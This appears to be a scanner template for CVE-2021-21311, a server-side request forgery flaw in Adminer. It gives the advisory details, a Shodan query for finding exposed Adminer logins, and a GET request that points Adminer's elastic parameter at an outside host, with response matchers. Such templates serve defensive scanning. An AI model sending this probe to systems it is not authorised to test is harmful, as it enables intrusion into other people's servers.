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id : CVE-2021-21311
info :
name : Adminer SSRF Using Verbose Error Messages
author : Adam Crosser
severity : high
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description : Adminer is an open-source database management in a single PHP file. In adminer from version 4.0.0 and before 4.7.9 there is a server-side request forgery vulnerability. Users of Adminer versions bundling all drivers (e.g. `adminer.php`) are affected. This is fixed in version 4.7.9.
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reference :
- https://github.com/vrana/adminer/security/advisories/GHSA-x5r2-hj5c-8jx6
- https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf
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- https://packagist.org/packages/vrana/adminer
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
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cvss-score : 7.2
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cve-id : CVE-2021-21311
cwe-id : CWE-918
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metadata :
shodan-query : title:"Login - Adminer"
tags : cve,cve2021,adminer,ssrf
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requests :
- method : GET
path :
- "{{BaseURL}}/adminer?elastic=example.com&username="
matchers-condition : and
matchers :
- type : status
status :
- 403
- type : word
part : body
words :
- "<title>400 - Bad Request</title>"